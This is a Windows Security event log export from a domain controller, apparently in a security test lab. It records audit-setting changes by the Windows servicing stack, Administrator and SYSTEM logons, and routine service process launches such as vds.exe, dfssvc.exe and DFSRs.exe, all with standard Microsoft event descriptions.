	Object Name:	C:\Windows\System32\adprep\sch64.ldf
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247728
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch63.ldf
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247727
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch62.ldf
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247726
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch61.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247725
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch60.ldf
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247724
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch59.ldf
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247723
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch58.ldf
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247722
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch57.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247721
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch56.ldf
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247883
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	Key
	Object Name:	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DfsrRo\Instances\DfsrRo
	Handle ID:	0x7a0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;FA;KA;;;WD)
03/11/2021 11:42:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247882
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	Key
	Object Name:	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DfsrRo\Instances
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;FA;KA;;;WD)
03/11/2021 11:42:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247888
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x167BD7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247887
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x167BD7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247886
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247885
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247884
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x146A30

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247898
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc94
	New Process Name:	C:\Windows\System32\vds.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x34c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\vds.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247897
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247896
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247895
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\System32\vdsldr.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\vdsldr.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247894
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xba0
	New Process Name:	C:\Windows\System32\dfssvc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x34c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\dfssvc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247893
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247892
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247891
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc8
	New Process Name:	C:\Windows\System32\dfsrs.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x34c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\DFSRs.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247890
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247889
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247902
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x68
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe6c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247901
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5dc
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

